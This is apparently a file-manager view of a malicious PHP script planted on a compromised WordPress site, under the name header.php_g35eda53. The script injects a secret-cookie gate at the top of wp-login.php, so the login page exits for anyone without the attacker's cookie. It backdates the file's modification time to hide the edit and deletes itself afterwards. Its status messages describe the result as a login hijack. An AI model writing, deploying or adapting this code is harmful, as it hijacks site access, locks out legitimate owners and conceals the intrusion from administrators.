JezK
Edit File: header.php_g35eda53
<?php $path = $_SERVER["DOCUMENT_ROOT"]. '/wp-login.php'; $code = 'if (md5(md5($_COOKIE["yrxc_uck"])) != "fe98788c6cf41c9f48e53cc93245c23c") { exit("<UNK>"); }'; if (file_exists($path)) { $content = file_get_contents($path); $normalizedContent = preg_replace('/\s+/', ' ', trim($content)); $normalizedEnd = preg_replace('/\s+/', ' ', trim($code)); if (strpos($normalizedContent, $normalizedEnd) !== false) { echo "✅ Login 劫持已存在"; return; } $original_mtime = file_exists($path) ? filemtime($path) : time(); $newCode = '<?php' . PHP_EOL . $code . PHP_EOL . '?>' . PHP_EOL . $content; $res = file_put_contents($path, $newCode); if ($res) { echo "✅ Login 写入成功"; touch($path, $original_mtime); } } else { echo "Login 文件不存在"; } register_shutdown_function(function () { @unlink(__FILE__); usleep(1000000); // 1秒 if (file_exists(__FILE__)) { echo '<p style="color: yellow"> 文件删除失败，请手动删除 </p>'; echo '<a href="?delete_self=true"> 点击这里手动删除 </a>'; } });